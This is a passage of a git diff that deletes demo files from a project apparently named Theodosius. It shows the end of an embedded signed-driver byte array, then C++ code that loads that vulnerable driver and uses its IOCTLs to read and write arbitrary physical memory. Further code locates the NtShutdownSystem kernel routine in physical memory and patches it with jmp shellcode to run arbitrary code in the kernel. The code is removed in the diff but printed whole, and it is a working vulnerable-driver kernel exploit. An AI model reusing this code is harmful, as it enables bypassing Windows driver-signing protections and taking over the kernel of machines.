0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, 0x6D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, 0x6B, - 0x69, 0x2F, 0x63, 0x72, 0x6C, 0x2F, 0x70, 0x72, 0x6F, 0x64, 0x75, 0x63, - 0x74, 0x73, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, - 0x43, 0x6F, 0x64, 0x65, 0x56, 0x65, 0x72, 0x69, 0x66, 0x52, 0x6F, 0x6F, - 0x74, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, - 0x00, 0x81, 0x2A, 0x82, 0x16, 0x8C, 0x34, 0x67, 0x2B, 0xE5, 0x03, 0xEB, - 0x34, 0x7B, 0x8C, 0xA2, 0xA3, 0x50, 0x8A, 0xF4, 0x55, 0x86, 0xF1, 0x1E, - 0x8C, 0x8E, 0xAE, 0x7D, 0xEE, 0x03, 0x19, 0xCE, 0x72, 0x95, 0x18, 0x48, - 0xAD, 0x62, 0x11, 0xFD, 0x20, 0xFD, 0x3F, 0x47, 0x06, 0x01, 0x5A, 0xE2, - 0xE0, 0x6F, 0x8C, 0x15, 0x2C, 0x4E, 0x3C, 0x6A, 0x50, 0x6C, 0x0B, 0x36, - 0xA3, 0xCF, 0x7A, 0x0D, 0x9C, 0x42, 0xBC, 0x5C, 0xF8, 0x19, 0xD5, 0x60, - 0xE3, 0x69, 0xE6, 0xE2, 0x23, 0x41, 0x67, 0x8C, 0x68, 0x83, 0x76, 0x2B, - 0x8F, 0x93, 0xA3, 0x2A, 0xB5, 0x7F, 0xBE, 0x59, 0xFB, 0xA9, 0xC9, 0xB2, - 0x26, 0x8F, 0xCA, 0xA2, 0xF3, 0x82, 0x1B, 0x98, 0x3E, 0x91, 0x95, 0x27, - 0x97, 0x86, 0x61, 0xEE, 0x5B, 0x5D, 0x07, 0x6B, 0xCD, 0x86, 0xA8, 0xE2, - 0x65, 0x80, 0xA8, 0xE2, 0x15, 0xE2, 0xB2, 0xBE, 0x23, 0x05, 0x6A, 0xBA, - 0x0C, 0xF3, 0x47, 0x93, 0x4D, 0xAC, 0xA4, 0x8C, 0x07, 0x79, 0x39, 0xC0, - 0x61, 0x12, 0x3A, 0x05, 0x0D, 0x89, 0xA3, 0xEC, 0x9F, 0x57, 0x89, 0x84, - 0xFB, 0xEC, 0xCA, 0x7C, 0x47, 0x66, 0x14, 0x91, 0xD8, 0xB6, 0x0F, 0x19, - 0x5D, 0xE6, 0xB8, 0x4A, 0xAC, 0xBC, 0x47, 0xC8, 0x71, 0x43, 0x96, 0xE6, - 0x32, 0x20, 0xA5, 0xDC, 0x77, 0x86, 0xFD, 0x3C, 0xE3, 0x8B, 0x71, 0xDB, - 0x7B, 0x9B, 0x03, 0xFC, 0xB7, 0x1D, 0x32, 0x64, 0xEB, 0x16, 0x52, 0xA0, - 0x43, 0xA3, 0xFA, 0x2E, 0xAD, 0x59, 0x92, 0x4E, 0x7C, 0xC7, 0xF2, 0x33, - 0x42, 0x48, 0x38, 0x51, 0x3A, 0x7C, 0x38, 0xC7, 0x1B, 0x24, 0x22, 0x28, - 0x40, 0x1E, 0x1A, 0x46, 0x1F, 0x17, 0xDB, 0x18, 0xF7, 0xF0, 0x27, 0x35, - 0x6C, 0xB8, 0x63, 0xD9, 0xCD, 0xB9, 0x64, 0x5D, 0x2B, 0xA5, 0x5E, 0xEF, - 0xC6, 0x29, 0xB4, 0xF2, 0xC7, 0xF8, 0x21, 0xCC, 0x04, 0xBA, 0x57, 0xFD, - 0x01, 0xB6, 0xAB, 0xC6, 0x67, 0xF9, 0xE7, 0xD3, 0x99, 0x7F, 0xF4, 0xF5, - 0x22, 0xFA, 0x72, 0xF5, 0xFD, 0xFF, 0x3A, 0x1C, 0x42, 0x3A, 0xA1, 0xF9, - 0x80, 0x18, 0xA5, 0xEE, 0x8D, 0x1C, 0xD4, 0x66, 0x9E, 0x45, 0x01, 0xFE, - 0xAA, 0xEE, 0xFF, 0xFB, 0x17, 0x8F, 0x30, 0xF7, 0xF1, 0xCD, 0x29, 0xC5, - 0x9D, 0xEC, 0xB5, 0xD5, 0x49, 0x00, 0x3D, 0x85, 0xB8, 0xCB, 0xBB, 0x93, - 0x3A, 0x27, 0x6A, 0x49, 0xC0, 0x30, 0xAE, 0x66, 0xC9, 0xF7, 0x23, 0x28, - 0x32, 0x76, 0xF9, 0xA4, 0x83, 0x56, 0xC8, 0x48, 0xCE, 0x5A, 0x96, 0xAA, - 0xA0, 0xCC, 0x0C, 0xC4, 0x7F, 0xB4, 0x8E, 0x97, 0xAF, 0x6D, 0xE3, 0x54, - 0x27, 0xC3, 0x9F, 0x86, 0xC0, 0xD6, 0xE4, 0x73, 0x08, 0x97, 0x05, 0xDB, - 0xD0, 0x54, 0x62, 0x5E, 0x03, 0x48, 0xC2, 0xD5, 0x9F, 0x7F, 0xA7, 0x66, - 0x8C, 0xD0, 0x9D, 0xB0, 0x4F, 0xD4, 0xD3, 0x98, 0x5F, 0x4B, 0x7A, 0xC9, - 0x7F, 0xB2, 0x29, 0x52, 0xD0, 0x12, 0x80, 0xC7, 0x0F, 0x54, 0xB6, 0x1E, - 0x67, 0xCD, 0xC6, 0xA0, 0x6C, 0x11, 0x03, 0x84, 0xD3, 0x48, 0x75, 0xE7, - 0x2A, 0xFE, 0xB0, 0x3B, 0x6E, 0x0A, 0x3A, 0xA6, 0x6B, 0x76, 0x99, 0x05, - 0xA3, 0xF1, 0x77, 0x68, 0x61, 0x33, 0x14, 0x47, 0x06, 0xFC, 0x53, 0x7F, - 0x52, 0xBD, 0x92, 0x14, 0x5C, 0x4A, 0x24, 0x6A, 0x67, 0x8C, 0xAF, 0x8D, - 0x90, 0xAA, 0xD0, 0xF6, 0x79, 0x21, 0x1B, 0x93, 0x26, 0x7C, 0xC3, 0xCE, - 0x1E, 0xBD, 0x88, 0x38, 0x92, 0xAE, 0x45, 0xC6, 0x19, 0x6A, 0x49, 0x50, - 0xB3, 0x05, 0xF8, 0xAE, 0x59, 0x37, 0x8A, 0x6A, 0x25, 0x03, 0x94, 0xB1, - 0x59, 0x81, 0x50, 0xE8, 0xBA, 0x83, 0x80, 0xB7, 0x23, 0x35, 0xF4, 0x76, - 0xB9, 0x67, 0x1D, 0x59, 0x18, 0xAD, 0x20, 0x8D, 0x94, 0x31, 0x82, 0x04, - 0x3C, 0x30, 0x82, 0x04, 0x38, 0x02, 0x01, 0x01, 0x30, 0x81, 0x93, 0x30, - 0x7F, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, - 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, - 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, - 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, - 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, - 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, - 0x41, 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, - 0x67, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x02, 0x10, 0x2A, 0xD2, - 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, 0x84, 0xBF, 0xA4, 0x3A, 0x31, - 0xB2, 0x1B, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, - 0x00, 0xA0, 0x70, 0x30, 0x10, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, - 0x82, 0x37, 0x02, 0x01, 0x0C, 0x31, 0x02, 0x30, 0x00, 0x30, 0x19, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0C, - 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x04, - 0x30, 0x1C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, - 0x01, 0x0B, 0x31, 0x0E, 0x30, 0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, - 0x01, 0x82, 0x37, 0x02, 0x01, 0x15, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x2D, - 0xFA, 0xF5, 0x42, 0x60, 0x09, 0xFB, 0x3A, 0x4A, 0x53, 0x02, 0xC1, 0x4C, - 0xB9, 0x30, 0x9A, 0xE1, 0x20, 0x7D, 0x44, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, - 0x01, 0x00, 0xA1, 0x57, 0x78, 0x4D, 0x95, 0x21, 0x2A, 0xA1, 0xA6, 0x9A, - 0xD9, 0x69, 0x16, 0x1D, 0x95, 0x59, 0x6F, 0xD0, 0xDD, 0x4C, 0xBF, 0x3B, - 0xD6, 0x7E, 0x5E, 0x86, 0x39, 0x41, 0xEB, 0x52, 0x3A, 0xDF, 0x1B, 0xAC, - 0x44, 0x96, 0x08, 0x06, 0x0A, 0x07, 0x01, 0xD1, 0xDE, 0x34, 0xC0, 0x93, - 0xB2, 0xB2, 0xB8, 0xED, 0x05, 0xDE, 0xB5, 0xF7, 0xC5, 0xD5, 0x32, 0x2E, - 0xC7, 0x32, 0xBF, 0x3B, 0xD8, 0xEC, 0x4D, 0xC6, 0xF2, 0x2A, 0xFF, 0x7D, - 0xA2, 0x9C, 0x8B, 0xF2, 0x16, 0xBA, 0x6C, 0x3E, 0x3E, 0x9B, 0x49, 0x9E, - 0x00, 0x28, 0x80, 0x55, 0xDC, 0xFE, 0x6E, 0x1F, 0x74, 0x5F, 0x98, 0x1A, - 0x39, 0x3A, 0xD3, 0xE2, 0xD2, 0x5B, 0x5C, 0x22, 0x51, 0xF3, 0xA6, 0xF6, - 0x1D, 0x76, 0x19, 0x8C, 0x1C, 0x82, 0x31, 0xCE, 0x65, 0xF3, 0x10, 0x23, - 0xD6, 0xAD, 0x60, 0x2E, 0x43, 0x6C, 0x75, 0x30, 0xD6, 0x9A, 0x85, 0x2B, - 0x33, 0x22, 0x44, 0x03, 0x6D, 0xC9, 0x9A, 0xB2, 0x39, 0x8A, 0x34, 0xBF, - 0xDD, 0xAF, 0xA3, 0x0B, 0xB8, 0x7F, 0x2D, 0x50, 0x17, 0xD5, 0x56, 0x75, - 0x27, 0x6A, 0xF8, 0xB8, 0xD7, 0x5E, 0x27, 0x74, 0xAC, 0x91, 0x7C, 0xEE, - 0xA4, 0x42, 0x80, 0xD5, 0xF8, 0xFB, 0xB7, 0xD8, 0x70, 0x71, 0x70, 0xE6, - 0x3D, 0x2D, 0x51, 0x5C, 0x5A, 0xAB, 0xD7, 0x3F, 0x68, 0x0B, 0xE2, 0x93, - 0x80, 0xED, 0x7C, 0x8A, 0x94, 0x06, 0x2B, 0xE9, 0xCB, 0xBF, 0xD4, 0x4B, - 0x76, 0x6E, 0x3C, 0xAC, 0x01, 0xA6, 0xB3, 0xF9, 0x0D, 0xB2, 0x6C, 0x24, - 0x4B, 0x51, 0x63, 0x2D, 0x79, 0x15, 0x58, 0x4B, 0x6C, 0x5B, 0x8B, 0x99, - 0x4B, 0xCC, 0xAA, 0x07, 0x08, 0xC9, 0xA3, 0x43, 0xAE, 0xD5, 0x27, 0x8F, - 0xD7, 0x35, 0x85, 0x6B, 0xE8, 0x69, 0xF4, 0xF1, 0x8D, 0x3D, 0x8F, 0x00, - 0x71, 0x52, 0x85, 0x84, 0x02, 0x0D, 0xA1, 0x82, 0x02, 0x0B, 0x30, 0x82, - 0x02, 0x07, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, - 0x06, 0x31, 0x82, 0x01, 0xF8, 0x30, 0x82, 0x01, 0xF4, 0x02, 0x01, 0x01, - 0x30, 0x72, 0x30, 0x5E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, - 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, - 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x27, 0x53, - 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, 0x65, - 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x43, 0x41, 0x20, 0x2D, 0x20, - 0x47, 0x32, 0x02, 0x10, 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, - 0x6E, 0x04, 0xD8, 0x6A, 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x09, 0x06, 0x05, - 0x2B, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0xA0, 0x5D, 0x30, 0x18, 0x06, - 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x03, 0x31, 0x0B, - 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x01, 0x30, - 0x1C, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x05, - 0x31, 0x0F, 0x17, 0x0D, 0x31, 0x37, 0x31, 0x32, 0x30, 0x31, 0x30, 0x35, - 0x34, 0x30, 0x35, 0x34, 0x5A, 0x30, 0x23, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x04, 0x31, 0x16, 0x04, 0x14, 0x48, 0xE9, - 0xD3, 0xB8, 0xB2, 0x40, 0x23, 0x3E, 0x65, 0x95, 0x5D, 0xD2, 0x19, 0x40, - 0xAF, 0x08, 0x08, 0x5F, 0x02, 0xDF, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x04, 0x82, 0x01, - 0x00, 0x89, 0xF5, 0x8C, 0x74, 0xAD, 0xAF, 0x17, 0x5E, 0x03, 0xA0, 0x82, - 0x0D, 0xBC, 0x1D, 0xBC, 0x29, 0x15, 0x66, 0x7B, 0x43, 0x94, 0xEA, 0x86, - 0x4F, 0x8A, 0x29, 0x08, 0x4D, 0x78, 0x92, 0x2D, 0x4F, 0x49, 0x66, 0x6F, - 0x5E, 0x0C, 0x83, 0x5D, 0xB3, 0x25, 0xDF, 0xAB, 0x99, 0xC8, 0xEC, 0xBB, - 0x90, 0x07, 0x7C, 0xC5, 0xBD, 0x7A, 0x86, 0x6A, 0x84, 0x71, 0x65, 0xE9, - 0x63, 0xD7, 0x1E, 0x28, 0xBF, 0x3C, 0xB9, 0x1C, 0xE5, 0xFD, 0xC9, 0x92, - 0x03, 0xC9, 0x5C, 0x67, 0x35, 0x81, 0xA9, 0x24, 0x4E, 0xDA, 0xE9, 0x1E, - 0x8D, 0xF1, 0x2B, 0x53, 0xEF, 0x7A, 0xFE, 0x0D, 0xCC, 0xAE, 0x97, 0x7B, - 0x63, 0x44, 0x0F, 0x9C, 0x03, 0x0B, 0xC3, 0xC5, 0x26, 0x56, 0x3C, 0x15, - 0x26, 0x4F, 0x21, 0x5C, 0x57, 0x0F, 0xBB, 0x23, 0x06, 0x0E, 0x34, 0x14, - 0x1A, 0x2D, 0x06, 0xAA, 0xD2, 0xF2, 0xEC, 0x57, 0x61, 0x08, 0x74, 0xF4, - 0x36, 0x42, 0x06, 0x81, 0xD6, 0x79, 0x65, 0xB0, 0x6F, 0xF2, 0x4F, 0x6F, - 0x5A, 0xD0, 0xC3, 0x84, 0xC3, 0x66, 0x53, 0x92, 0xC0, 0x22, 0x23, 0xE1, - 0xD5, 0x1B, 0x02, 0x76, 0x8E, 0xEB, 0x5F, 0xC2, 0x44, 0x68, 0xF0, 0x36, - 0x2E, 0xFC, 0xE1, 0x13, 0xB8, 0x21, 0x44, 0xAD, 0x9F, 0x7A, 0xD2, 0x9F, - 0xA9, 0x5F, 0xB1, 0xCB, 0x4C, 0xD9, 0x08, 0x6E, 0x4B, 0x82, 0x1D, 0x6D, - 0x7C, 0xD2, 0x51, 0xD1, 0x74, 0x0B, 0x7A, 0xE5, 0x7A, 0x59, 0x93, 0xF9, - 0xCA, 0xB8, 0x85, 0xC4, 0x2C, 0x8A, 0x1D, 0x93, 0x48, 0x6C, 0xAE, 0x3E, - 0x01, 0x5B, 0x66, 0x7F, 0x67, 0xF8, 0x2F, 0x8A, 0xF2, 0x65, 0x2C, 0x88, - 0x3C, 0x7F, 0xAD, 0xB8, 0x8D, 0xBA, 0x88, 0x99, 0xFB, 0xE1, 0xDE, 0x48, - 0xA2, 0x66, 0x96, 0xF0, 0xA9, 0xF1, 0xF2, 0x12, 0x21, 0x16, 0xB6, 0xDA, - 0x8C, 0xD3, 0x5E, 0xD3, 0x5B, 0x00, 0x00, 0x00 - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Client/vdm/vdm.hpp b/demos/Theodosius-Client/vdm/vdm.hpp deleted file mode 100644 index 5df5dfb..0000000 --- a/demos/Theodosius-Client/vdm/vdm.hpp +++ /dev/null @@ -1,139 +0,0 @@ -#pragma once -#include -#include - -#include "../utils.hpp" -#include "../loadup.hpp" -#include "raw_driver.hpp" - -#define MAP_PHYSICAL 0xC3502004 -#define UNMAP_PHYSICAL 0xC3502008 - -#pragma pack (push, 1) -typedef struct _gdrv_t -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t phys_addr; - unsigned long io_space; - unsigned long size; -} gdrv_t, *pgdrv_t; -#pragma pack (pop) - -namespace vdm -{ - inline HANDLE drv_handle; - __forceinline auto load_drv() -> std::tuple - { - const auto [result, key] = - driver::load( - vdm::raw_driver, - sizeof(vdm::raw_driver) - ); - - if (result != STATUS_SUCCESS) - return { {}, {}, result }; - - vdm::drv_handle = CreateFileA( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - - return { vdm::drv_handle, key, result }; - } - - __forceinline auto unload_drv(HANDLE drv_handle, std::string drv_key) -> NTSTATUS - { - if (!CloseHandle(drv_handle)) - return STATUS_FAIL_CHECK; - - return driver::unload(drv_key); - } - - __forceinline bool read_phys(void* addr, void* buffer, std::size_t size) - { - gdrv_t in_buffer; - in_buffer.bus = NULL; - in_buffer.interface_type = NULL; - in_buffer.phys_addr = reinterpret_cast(addr); - in_buffer.io_space = NULL; - in_buffer.size = size; - - void* out_buffer[2] = { 0 }; - unsigned long returned = 0; - - if (!DeviceIoControl( - drv_handle, - MAP_PHYSICAL, - reinterpret_cast(&in_buffer), - sizeof in_buffer, - out_buffer, - sizeof out_buffer, - &returned, NULL - )) - return false; - - __try - { - memcpy(buffer, out_buffer[0], size); - } - __except (EXCEPTION_EXECUTE_HANDLER) - {} - - return DeviceIoControl( - drv_handle, - UNMAP_PHYSICAL, - reinterpret_cast(&out_buffer[0]), - sizeof out_buffer[0], - out_buffer, - sizeof out_buffer, - &returned, NULL - ); - } - - __forceinline bool write_phys(void* addr, void* buffer, std::size_t size) - { - gdrv_t in_buffer; - in_buffer.bus = NULL; - in_buffer.interface_type = NULL; - in_buffer.phys_addr = reinterpret_cast(addr); - in_buffer.io_space = NULL; - in_buffer.size = size; - - void* out_buffer[2] = { 0 }; - unsigned long returned = 0; - - if (!DeviceIoControl( - drv_handle, - MAP_PHYSICAL, - reinterpret_cast(&in_buffer), - sizeof in_buffer, - out_buffer, - sizeof out_buffer, - &returned, NULL - )) - return false; - - __try - { - memcpy(out_buffer[0], buffer, size); - } - __except (EXCEPTION_EXECUTE_HANDLER) - {} - - return DeviceIoControl( - drv_handle, - UNMAP_PHYSICAL, - reinterpret_cast(&out_buffer[0]), - sizeof out_buffer[0], - out_buffer, - sizeof out_buffer, - &returned, NULL - ); - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/vdm/vdm_ctx.cpp b/demos/Theodosius-Client/vdm/vdm_ctx.cpp deleted file mode 100644 index 85469e9..0000000 --- a/demos/Theodosius-Client/vdm/vdm_ctx.cpp +++ /dev/null @@ -1,103 +0,0 @@ -#include "vdm_ctx.hpp" - -namespace vdm -{ - vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func) - : - read_phys(read_func), - write_phys(write_func) - { - // already found the syscall's physical page... - if (vdm::syscall_address.load()) - return; - - vdm::ntoskrnl = reinterpret_cast( - LoadLibraryExA("ntoskrnl.exe", NULL, - DONT_RESOLVE_DLL_REFERENCES)); - - vdm::nt_rva = - utils::kmodule::get_export( - "ntoskrnl.exe", - syscall_hook.first - ) - utils::kmodule::get_base("ntoskrnl.exe"); - - vdm::nt_page_offset = nt_rva % PAGE_4KB; - // for each physical memory range, make a thread to search it - std::vector search_threads; - for (auto ranges : utils::pmem_ranges) - search_threads.emplace_back(std::thread( - &vdm_ctx::locate_syscall, - this, - ranges.first, - ranges.second - )); - - for (std::thread& search_thread : search_threads) - search_thread.join(); - } - - void vdm_ctx::set_read(read_phys_t& read_func) - { - this->read_phys = read_func; - } - - void vdm_ctx::set_write(write_phys_t& write_func) - { - this->write_phys = write_func; - } - - void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const - { - const auto page_data = - reinterpret_cast( - VirtualAlloc( - nullptr, - PAGE_4KB, MEM_COMMIT | MEM_RESERVE, - PAGE_READWRITE - )); - - for (auto page = 0u; page < length; page += PAGE_4KB) - { - if (vdm::syscall_address.load()) - break; - - if (!read_phys(reinterpret_cast(address + page), page_data, PAGE_4KB)) - continue; - - // check the first 32 bytes of the syscall, if its the same, test that its the correct - // occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)... - if (!memcmp(page_data + nt_page_offset, ntoskrnl + nt_rva, 32)) - if (valid_syscall(reinterpret_cast(address + page + nt_page_offset))) - syscall_address.store( - reinterpret_cast( - address + page + nt_page_offset)); - } - VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT); - } - - bool vdm_ctx::valid_syscall(void* syscall_addr) const - { - static std::mutex syscall_mutex; - syscall_mutex.lock(); - - static const auto proc = - GetProcAddress( - LoadLibraryA(syscall_hook.second), - syscall_hook.first - ); - - // 0: 48 31 c0 xor rax, rax - // 3 : c3 ret - std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 }; - std::uint8_t orig_bytes[sizeof shellcode]; - - // save original bytes and install shellcode... - read_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - write_phys(syscall_addr, shellcode, sizeof shellcode); - - auto result = reinterpret_cast(proc)(); - write_phys(syscall_addr, orig_bytes, sizeof orig_bytes); - syscall_mutex.unlock(); - return result == STATUS_SUCCESS; - } -} \ No newline at end of file diff --git a/demos/Theodosius-Client/vdm/vdm_ctx.hpp b/demos/Theodosius-Client/vdm/vdm_ctx.hpp deleted file mode 100644 index cbb72a3..0000000 --- a/demos/Theodosius-Client/vdm/vdm_ctx.hpp +++ /dev/null @@ -1,71 +0,0 @@ -#pragma once -#include -#include -#include -#include -#include -#include -#include -#include "vdm.hpp" - -namespace vdm -{ - // change this to whatever you want :^) - constexpr std::pair syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; - inline std::atomic is_page_found = false; - inline std::atomic syscall_address = nullptr; - inline std::uint16_t nt_page_offset; - inline std::uint32_t nt_rva; - inline std::uint8_t* ntoskrnl; - - using read_phys_t = std::function; - using write_phys_t = std::function; - - class vdm_ctx - { - public: - explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func); - void set_read(read_phys_t& read_func); - void set_write(write_phys_t& write_func); - - template - __forceinline std::invoke_result_t syscall(void* addr, Ts ... args) const - { - static const auto proc = - GetProcAddress( - LoadLibraryA(syscall_hook.second), - syscall_hook.first - ); - - static std::mutex syscall_mutex; - syscall_mutex.lock(); - - // jmp [rip+0x0] - std::uint8_t jmp_code[] = - { - 0xff, 0x25, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00 - }; - - std::uint8_t orig_bytes[sizeof jmp_code]; - *reinterpret_cast(jmp_code + 6) = addr; - read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - // execute hook... - write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code); - auto result = reinterpret_cast(proc)(args ...); - write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes); - - syscall_mutex.unlock(); - return result; - } - private: - void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const; - bool valid_syscall(void* syscall_addr) const; - - read_phys_t read_phys; - write_phys_t write_phys; - }; -} \ No newline at end of file diff --git a/demos/Theodosius-Examples.sln b/demos/Theodosius-Examples.sln deleted file mode 100644 index 5e8d208..0000000 --- a/demos/Theodosius-Examples.sln +++ /dev/null @@ -1,90 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.30907.101 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDll", "DemoDll\DemoDll.vcxproj", "{19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoDrv", "DemoDrv\DemoDrv.vcxproj", "{A9959D7F-E405-4380-A1B4-4CE8DD929397}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-VDM", "Theodosius-Kernel\Theodosius-VDM\Theodosius-VDM.vcxproj", "{B3A57EE2-364D-42FA-A827-33F43136B549}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-MSREXEC", "Theodosius-Kernel\Theodosius-MSREXEC\Theodosius-MSREXEC.vcxproj", "{0043C2E6-7080-4363-BD50-298A4C51562F}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Usermode", "Theodosius-Usermode\Theodosius-Usermode.vcxproj", "{BE437FEC-EA25-4E93-9B73-A028F9DD698F}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "DemoImGui", "DemoImGui\examples\example_win32_directx11\example_win32_directx11.vcxproj", "{9F316E83-5AE5-4939-A723-305A94F48005}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Server", "Theodosius-Server\Theodosius-Server.vcxproj", "{B047B17D-DFF0-4D85-BFB1-E6EAB444670A}" -EndProject -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Theodosius-Client", "Theodosius-Client\Theodosius-Client.vcxproj", "{490558CD-7FD5-4E6B-AF9A-334EEFA86ECD}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|x64 = Debug|x64 - Debug|x86 = Debug|x86 - Release|x64 = Release|x64 - Release|x86 = Release|x86 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x64.ActiveCfg = Debug|x64 - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x64.Build.0 = Debug|x64 - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Debug|x86.ActiveCfg = Debug|x64 - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x64.ActiveCfg = Release|x64 - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x64.Build.0 = Release|x64 - {19B2E75C-385A-40BF-8FAE-2F5E1E24E2EC}.Release|x86.ActiveCfg = Release|x64 - {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.ActiveCfg = Debug|x64 - {A9959D7F-E405-4380-A1B4-4CE8DD929397}.Debug|x64.Build.0 = Debug|x64 - 